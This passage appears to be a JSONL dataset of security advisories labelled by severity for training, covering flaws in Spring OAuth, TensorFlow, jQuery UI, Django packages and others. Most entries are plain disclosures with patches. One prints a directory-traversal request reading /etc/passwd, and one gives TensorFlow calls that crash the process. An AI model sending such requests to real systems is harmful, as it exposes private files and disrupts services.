information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "b4491aaa8cc434fc21f1", "text": "spring-security-oauth and spring-security-oauth2 Open Redirect vulnerability\n\nSpring Security OAuth, versions 2.3 prior to 2.3.5, and 2.2 prior to 2.2.4, and 2.1 prior to 2.1.4, and 2.0 prior to 2.0.17, and older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code.\n\nA malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the \"redirect_uri\" parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code.\n\nThis vulnerability exposes applications that meet all of the following requirements: Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer) and uses the DefaultRedirectResolver in the AuthorizationEndpoint.\n\nThis vulnerability does not expose applications that: Act in the role of an Authorization Server and uses a different RedirectResolver implementation other than DefaultRedirectResolver, act in the role of a Resource Server only (e.g. @EnableResourceServer), act in the role of a Client only (e.g. @EnableOAuthClient).", "text_raw": "spring-security-oauth and spring-security-oauth2 Open Redirect vulnerability\n\n[Severity: MEDIUM]\n\nSpring Security OAuth, versions 2.3 prior to 2.3.5, and 2.2 prior to 2.2.4, and 2.1 prior to 2.1.4, and 2.0 prior to 2.0.17, and older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code.\n\nA malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the \"redirect_uri\" parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code.\n\nThis vulnerability exposes applications that meet all of the following requirements: Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer) and uses the DefaultRedirectResolver in the AuthorizationEndpoint. \n\nThis vulnerability does not expose applications that: Act in the role of an Authorization Server and uses a different RedirectResolver implementation other than DefaultRedirectResolver, act in the role of a Resource Server only (e.g. @EnableResourceServer), act in the role of a Client only (e.g. @EnableOAuthClient).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "6673ab034dc1348c7a74", "text": "Ruby-ffi has a DLL loading issue\n\nruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be hijacked on Windows OS, when a Symbol is used as DLL name instead of a String This vulnerability appears to have been fixed in v1.9.24 and later.", "text_raw": "Ruby-ffi has a DLL loading issue \n\n[Severity: HIGH]\n\nruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be hijacked on Windows OS, when a Symbol is used as DLL name instead of a String This vulnerability appears to have been fixed in v1.9.24 and later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-31", "split": "train"}
-{"id": "44deb78210113348cf35", "text": "Cross-site Scripting (XSS) in Eclipse Theia\n\nIn Eclipse Theia versions up to and including 1.2.0, the Markdown Preview (@theia/preview), can be exploited to execute arbitrary code.", "text_raw": "Cross-site Scripting (XSS) in Eclipse Theia\n\n[Severity: CRITICAL]\n\nIn Eclipse Theia versions up to and including 1.2.0, the Markdown Preview (@theia/preview), can be exploited to execute arbitrary code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "86fd06be25772a7f3033", "text": "Division by zero in TFLite's implementation of `OneHot`\n\n### Impact\nThe implementation of the `OneHot` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/f61c57bd425878be108ec787f4d96390579fb83e/tensorflow/lite/kernels/one_hot.cc#L68-L72):\n\n```cc\nint prefix_dim_size = 1;\nfor (int i = 0; i < op_context.axis; ++i) {\n  prefix_dim_size *= op_context.indices->dims->data[i];\n}\nconst int suffix_dim_size = NumElements(op_context.indices) / prefix_dim_size;\n```\n\nAn attacker can craft a model such that at least one of the dimensions of `indices` would be 0. In turn, the `prefix_dim_size` value would become 0.\n\n### Patches\nWe have patched the issue in GitHub commit [3ebedd7e345453d68e279cfc3e4072648e5e12e5](https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `OneHot`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `OneHot` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/f61c57bd425878be108ec787f4d96390579fb83e/tensorflow/lite/kernels/one_hot.cc#L68-L72):\n\n```cc\nint prefix_dim_size = 1;\nfor (int i = 0; i < op_context.axis; ++i) {\n  prefix_dim_size *= op_context.indices->dims->data[i];\n}\nconst int suffix_dim_size = NumElements(op_context.indices) / prefix_dim_size;\n```\n\nAn attacker can craft a model such that at least one of the dimensions of `indices` would be 0. In turn, the `prefix_dim_size` value would become 0.\n\n### Patches\nWe have patched the issue in GitHub commit [3ebedd7e345453d68e279cfc3e4072648e5e12e5](https://github.com/tensorflow/tensorflow/commit/3ebedd7e345453d68e279cfc3e4072648e5e12e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7f95095309dbb5b279ce", "text": "feedparser Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in feedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) 5.x before 5.0.1 allows remote attackers to inject arbitrary web script or HTML via malformed XML comments.", "text_raw": "feedparser Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in feedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) 5.x before 5.0.1 allows remote attackers to inject arbitrary web script or HTML via malformed XML comments.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "5e3c758c3b8a53f6fe82", "text": "ECOA Building Automation System Arbitrary File Deletion", "text_raw": "ECOA Building Automation System Arbitrary File Deletion\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-09", "split": "train"}
-{"id": "d6f758aff2139bb0fdd1", "text": "Exposure of Sensitive Information to an Unauthorized Actor in foreman_fog_proxmox\n\nA flaw was found in the Foreman project. The Proxmox compute resource exposes the password through the API to an authenticated local attacker with view_hosts permission. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. Versions of foreman_fog_proxmox prior to 0.13.1 are affected.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in foreman_fog_proxmox\n\n[Severity: HIGH]\n\nA flaw was found in the Foreman project. The Proxmox compute resource exposes the password through the API to an authenticated local attacker with view_hosts permission. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. Versions of foreman_fog_proxmox prior to 0.13.1 are affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "af75226c6e5b21f2a05a", "text": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\nA flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "0d5b802bba3f562a1f55", "text": "Integer Overflow or Wraparound in OpenCV.\n\nIn opencv/modules/imgcodecs/src/utils.cpp, functions FillUniColor and FillUniGray do not check the input length, which can lead to integer overflow. If the image is from remote, may lead to remote code execution or denial of service. This affects Opencv 3.3 (corresponding with OpenCV-Python 3.3.0.9) and earlier.", "text_raw": "Integer Overflow or Wraparound in OpenCV.\n\n[Severity: HIGH]\n\nIn opencv/modules/imgcodecs/src/utils.cpp, functions FillUniColor and FillUniGray do not check the input length, which can lead to integer overflow. If the image is from remote, may lead to remote code execution or denial of service. This affects Opencv 3.3 (corresponding with OpenCV-Python 3.3.0.9) and earlier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "bd28ca99d1b83fa5e129", "text": "Microsoft Edge and Internet Explorer Memory Corruption Vulnerability\n\nAffected: Microsoft Edge and Internet Explorer\n\nMicrosoft Edge and Internet Explorer contain a memory corruption vulnerability that allows attackers to execute code in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Edge and Internet Explorer Memory Corruption Vulnerability\n\nAffected: Microsoft Edge and Internet Explorer\n\nMicrosoft Edge and Internet Explorer contain a memory corruption vulnerability that allows attackers to execute code in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3e19d995dc5e027f0c47", "text": "Directory Traversal in uekw1511server\n\nAffected versions of `uekw1511server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in uekw1511server\n\n[Severity: HIGH]\n\nAffected versions of `uekw1511server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "012acfd416646cc1f002", "text": "XSS in Dolibarr\n\nDolibarr before 11.0.4 allows XSS.", "text_raw": "XSS in Dolibarr\n\n[Severity: MEDIUM]\n\nDolibarr before 11.0.4 allows XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "43e0e1fc4546c20f034b", "text": "Cross-site Scripting in jquery-ui\n\nCross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in the Dialog widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title option.", "text_raw": "Cross-site Scripting in jquery-ui\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in the Dialog widget in jQuery UI before 1.10.0 allows remote attackers to inject arbitrary web script or HTML via the title option.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "1dc5c79e0f023251e42a", "text": "Camel-castor component in Apache Camel is vulnerable to Java object de-serialisation\n\nThe camel-castor component in Apache Camel 2.x before 2.19.4 and 2.20.x before 2.20.1 is vulnerable to Java object de-serialisation vulnerability. De-serializing untrusted data can lead to security flaws.", "text_raw": "Camel-castor component in Apache Camel is vulnerable to Java object de-serialisation\n\n[Severity: CRITICAL]\n\nThe camel-castor component in Apache Camel 2.x before 2.19.4 and 2.20.x before 2.20.1 is vulnerable to Java object de-serialisation vulnerability. De-serializing untrusted data can lead to security flaws.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "ce7dd1c1e092433649f3", "text": "User passwords are stored in clear text in the Django session\n\n### Impact\n\ndjango-two-factor-auth versions 1.11 and before store the user's password in clear text in the user session (base64-encoded). The password is stored in the session when the user submits their username and password, and is removed once they complete authentication by entering a two-factor authentication code. This means that the password is stored in clear text in the session for an arbitrary amount of time, and potentially forever if the user begins the login process by entering their username and password, and then leaves before entering their two-factor authentication code.\n\nThe severity of this issue depends on which type of session storage you have configured: in the worst case, if you're using Django's default database session storage, then users' password are stored in clear text in your database. In the best case, if you're using Django's signed cookie session, then users' passwords are only stored in clear text within their browser's cookie store. In the common case of using Django's cache session store, the users' password are stored in clear text in whatever cache storage you have configured (typically Memcached or Redis).\n\n### Patches\n\nUpgrade to version 1.12 to resolve this issue.\n\nAfter upgrading, users should be sure to delete any clear text passwords that have been stored. For example, if you're using the database session backend, you'll likely want to delete any session record from the database and purge that data from any database backups or replicas.\n\nIn addition, affected organizations who have suffered a database breach while using an affected version should inform their users that their clear text passwords have been compromised. All organizations should encourage users whose passwords were insecurely stored to change these passwords on any sites where they were used.\n\n### Workarounds\n\nSwitching Django's session storage to use signed cookies instead of the database or cache lessens the impact of this issue, but should not be done without a thorough understanding of the security tradeoffs of using signed cookies rather than a server-side session storage. There is no way to fully mitigate the issue without upgrading.\n\n### References\n\nFor an explanation of why storing cleartext password is a substantial vulnerability: [Hashing Passwords: One-Way Road to Security](https://auth0.com/blog/hashing-passwords-one-way-road-to-security/).  \nFor documentation on configuring the Django session storage engine: [Django session documentation](https://docs.djangoproject.com/en/3.0/topics/http/sessions/).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the repo](https://github.com/Bouke/django-two-factor-auth)", "text_raw": "User passwords are stored in clear text in the Django session\n\n[Severity: MEDIUM]\n\n### Impact\n\ndjango-two-factor-auth versions 1.11 and before store the user's password in clear text in the user session (base64-encoded). The password is stored in the session when the user submits their username and password, and is removed once they complete authentication by entering a two-factor authentication code. This means that the password is stored in clear text in the session for an arbitrary amount of time, and potentially forever if the user begins the login process by entering their username and password, and then leaves before entering their two-factor authentication code.\n\nThe severity of this issue depends on which type of session storage you have configured: in the worst case, if you're using Django's default database session storage, then users' password are stored in clear text in your database. In the best case, if you're using Django's signed cookie session, then users' passwords are only stored in clear text within their browser's cookie store. In the common case of using Django's cache session store, the users' password are stored in clear text in whatever cache storage you have configured (typically Memcached or Redis).\n\n### Patches\n\nUpgrade to version 1.12 to resolve this issue.\n\nAfter upgrading, users should be sure to delete any clear text passwords that have been stored. For example, if you're using the database session backend, you'll likely want to delete any session record from the database and purge that data from any database backups or replicas.\n\nIn addition, affected organizations who have suffered a database breach while using an affected version should inform their users that their clear text passwords have been compromised. All organizations should encourage users whose passwords were insecurely stored to change these passwords on any sites where they were used.\n\n### Workarounds\n\nSwitching Django's session storage to use signed cookies instead of the database or cache lessens the impact of this issue, but should not be done without a thorough understanding of the security tradeoffs of using signed cookies rather than a server-side session storage. There is no way to fully mitigate the issue without upgrading.\n\n### References\n\nFor an explanation of why storing cleartext password is a substantial vulnerability: [Hashing Passwords: One-Way Road to Security](https://auth0.com/blog/hashing-passwords-one-way-road-to-security/).  \nFor documentation on configuring the Django session storage engine: [Django session documentation](https://docs.djangoproject.com/en/3.0/topics/http/sessions/).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the repo](https://github.com/Bouke/django-two-factor-auth)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-10", "split": "train"}
-{"id": "f3809a586573259fb60e", "text": "sentry-raven allows remote attackers to cause a denial of service via a large exponent value in a scientific number\n\nThe `numtok` function in `lib/raven/okjson.rb` in the raven-ruby gem before 0.12.2 for Ruby allows remote attackers to cause a denial of service via a large exponent value in a scientific number.", "text_raw": "sentry-raven allows remote attackers to cause a denial of service via a large exponent value in a scientific number\n\n[Severity: MEDIUM]\n\nThe `numtok` function in `lib/raven/okjson.rb` in the raven-ruby gem before 0.12.2 for Ruby allows remote attackers to cause a denial of service via a large exponent value in a scientific number.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d96eed3ebb94fa38e627", "text": "Privilege escalation in rbac\n\n### Impact\nUsing a carefully crafted request or malicious proxy, a user with `UserWrite` permissions could create another user with higher privileges than their own due to insufficient checks on the allowed set of permissions. The event would be captured in the Event Log.\n\n### Patches\nThe issue has been fixed in 0.24.0 and 0.23.1.\n\n### Workarounds\nFor users who are unable to upgrade, we recommend auditing users who have `UserWrite` permissions and regularly reviewing the Event Log for malicious activity.\n\n### Kudos\nThank you to Michael Mazzolini (Ethical Hacker at WHO) for finding and disclosing this vulnerability.", "text_raw": "Privilege escalation in rbac\n\n[Severity: HIGH]\n\n### Impact\nUsing a carefully crafted request or malicious proxy, a user with `UserWrite` permissions could create another user with higher privileges than their own due to insufficient checks on the allowed set of permissions. The event would be captured in the Event Log.\n\n### Patches\nThe issue has been fixed in 0.24.0 and 0.23.1.\n\n### Workarounds\nFor users who are unable to upgrade, we recommend auditing users who have `UserWrite` permissions and regularly reviewing the Event Log for malicious activity.\n\n### Kudos\nThank you to Michael Mazzolini (Ethical Hacker at WHO) for finding and disclosing this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "bfb2e268a6089f77d33e", "text": "RubyGems Delete directory using symlink when decompressing tar\n\nA Directory Traversal issue was discovered in RubyGems 2.7.6 and later through 3.0.2. Before making new directories or touching files (which now include path-checking code for symlinks), it would delete the target destination. If that destination was hidden behind a symlink, a malicious gem could delete arbitrary files on the user's machine, presuming the attacker could guess at paths. Given how frequently gem is run as sudo, and how predictable paths are on modern systems (/tmp, /usr, etc.), this could likely lead to data loss or an unusable system.", "text_raw": "RubyGems Delete directory using symlink when decompressing tar\n\n[Severity: HIGH]\n\nA Directory Traversal issue was discovered in RubyGems 2.7.6 and later through 3.0.2. Before making new directories or touching files (which now include path-checking code for symlinks), it would delete the target destination. If that destination was hidden behind a symlink, a malicious gem could delete arbitrary files on the user's machine, presuming the attacker could guess at paths. Given how frequently gem is run as sudo, and how predictable paths are on modern systems (/tmp, /usr, etc.), this could likely lead to data loss or an unusable system.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "bde240f2e26ee371db3f", "text": "NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution", "text_raw": "NUUO NVRmini 2 NE-4160 ShellShock Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "a44a5b396540a3a84653", "text": "Cimetrics BACnet Explorer 4.0 XXE Vulnerability", "text_raw": "Cimetrics BACnet Explorer 4.0 XXE Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-02-12", "split": "train"}
-{"id": "ede3d32182ffc0cf9032", "text": "Crash in `tf.strings.substr` due to `CHECK`-fail\n\n### Impact\nAn attacker can cause a denial of service via `CHECK`-fail in  `tf.strings.substr` with invalid arguments:\n\n```python \nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,-1])\n```\n\n```python\nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,2])\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [890f7164b70354c57d40eda52dcdd7658677c09f](https://github.com/tensorflow/tensorflow/commit/890f7164b70354c57d40eda52dcdd7658677c09f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#46900](https://github.com/tensorflow/issues/46900) and fixed in [#46974](https://github.com/tensorflow/issues/46974).", "text_raw": "Crash in `tf.strings.substr` due to `CHECK`-fail\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service via `CHECK`-fail in  `tf.strings.substr` with invalid arguments:\n\n```python \nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,-1])\n```\n\n```python\nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,2])\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [890f7164b70354c57d40eda52dcdd7658677c09f](https://github.com/tensorflow/tensorflow/commit/890f7164b70354c57d40eda52dcdd7658677c09f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#46900](https://github.com/tensorflow/issues/46900) and fixed in [#46974](https://github.com/tensorflow/issues/46974).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e8dc4f6b99ac10535403", "text": "NASA Tri-Agency Climate Education (TrACE) v1.0 Multiple XSS Vulnerabilities", "text_raw": "NASA Tri-Agency Climate Education (TrACE) v1.0 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-10-26", "split": "train"}
-{"id": "34decb52fdf0446c83af", "text": "qiita-markdown Cross-site Scripting vulnerability\n\nIncrements Qiita::Markdown before 0.34.0 allows XSS via a crafted gist link, a different vulnerability than CVE-2021-28796.", "text_raw": "qiita-markdown Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIncrements Qiita::Markdown before 0.34.0 allows XSS via a crafted gist link, a different vulnerability than CVE-2021-28796.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "8ff3fcb76ae8fc6a3937", "text": "Remote Code Execution in Angular Expressions\n\n### Impact\n\nThe vulnerability, reported by GoSecure Inc, allows Remote Code Execution, if you call `expressions.compile(userControlledInput)` where `userControlledInput` is text that comes from user input.\n\n* If running angular-expressions in the browser, an attacker could run any browser script when the application code calls expressions.compile(userControlledInput).\n* If running angular-expressions on the server, an attacker could run any Javascript expression, thus gaining Remote Code Execution.\n\n### Patches\n\nUsers should upgrade to version 1.0.1 of angular-expressions\n\n### Workarounds\n\nA temporary workaround might be either to :\n\n* disable user-controlled input that will be fed into angular-expressions in your application\n\nOR\n\n* allow only following characters in the userControlledInput :\n\n```js\nif (/^[|a-zA-Z.0-9 :\"'+-?]+$/.test(userControlledInput)) {\n      var result = expressions.compile(userControlledInput);\n}\nelse {\n     result = undefined;\n}\n```\n\n### References\n\n[Removal of angular-expression sandbox](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [angular-expressions](https://github.com/peerigon/angular-expressions/issues)\n* [Email us](mailto:contact@javascript-ninja.fr)\n\n### Credits\n\nThe issue was reported by Maxime Nadeau from GoSecure, Inc.", "text_raw": "Remote Code Execution in Angular Expressions\n\n[Severity: HIGH]\n\n### Impact\n\nThe vulnerability, reported by GoSecure Inc, allows Remote Code Execution, if you call `expressions.compile(userControlledInput)` where `userControlledInput` is text that comes from user input.\n\n* If running angular-expressions in the browser, an attacker could run any browser script when the application code calls expressions.compile(userControlledInput).\n* If running angular-expressions on the server, an attacker could run any Javascript expression, thus gaining Remote Code Execution.\n\n### Patches\n\nUsers should upgrade to version 1.0.1 of angular-expressions\n\n### Workarounds\n\nA temporary workaround might be either to : \n\n* disable user-controlled input that will be fed into angular-expressions in your application\n\nOR\n\n* allow only following characters in the userControlledInput : \n\n```js\nif (/^[|a-zA-Z.0-9 :\"'+-?]+$/.test(userControlledInput)) {\n      var result = expressions.compile(userControlledInput);\n}\nelse {\n     result = undefined;\n}\n```\n\n### References\n\n[Removal of angular-expression sandbox](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [angular-expressions](https://github.com/peerigon/angular-expressions/issues)\n* [Email us](mailto:contact@javascript-ninja.fr)\n\n### Credits \n\nThe issue was reported by Maxime Nadeau from GoSecure, Inc.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "b36cbe0b5d211dd56718", "text": "Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability\n\nAffected: Cisco IOS XR\n\nCisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-400\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability\n\nAffected: Cisco IOS XR\n\nCisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-400\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "38f0b5c0e5a2d021a4fc", "text": "Command Injection in open\n\nVersions of `open` before 6.0.0 are vulnerable to command injection when unsanitized user input is passed in.\n\nThe package does come with the following warning in the readme:\n\n```\nThe same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.\n```\n\n## Recommendation\n\n`open` is now the deprecated `opn` package. Upgrading to the latest version is likely have unwanted effects since it now has a very different API but will prevent this vulnerability.", "text_raw": "Command Injection in open\n\n[Severity: CRITICAL]\n\nVersions of `open` before 6.0.0 are vulnerable to command injection when unsanitized user input is passed in.\n\nThe package does come with the following warning in the readme:\n\n```\nThe same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.\n```\n\n\n## Recommendation\n\n`open` is now the deprecated `opn` package. Upgrading to the latest version is likely have unwanted effects since it now has a very different API but will prevent this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "7f25409ebcee71b894d4", "text": "Open Redirect in Liferay Portal\n\nThe redirect module in Liferay Portal before 7.3.3 does not limit the number of URLs resulting in a 404 error that is recorded, which allows remote attackers to perform a denial of service attack by making repeated requests for pages that do not exist.", "text_raw": "Open Redirect in Liferay Portal\n\n[Severity: HIGH]\n\nThe redirect module in Liferay Portal before 7.3.3 does not limit the number of URLs resulting in a 404 error that is recorded, which allows remote attackers to perform a denial of service attack by making repeated requests for pages that do not exist.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "8c52bfbc5b93b4adb35a", "text": "Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access", "text_raw": "Schneider Electric Pelco Sarix/Spectra Cameras CSRF Enable SSH Root Access\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "2f24d779a53785d6272b", "text": "Downloads Resources over HTTP in arcanist\n\nAffected versions of `arcanist` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `arcanist`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in arcanist\n\n[Severity: MEDIUM]\n\nAffected versions of `arcanist` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `arcanist`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced 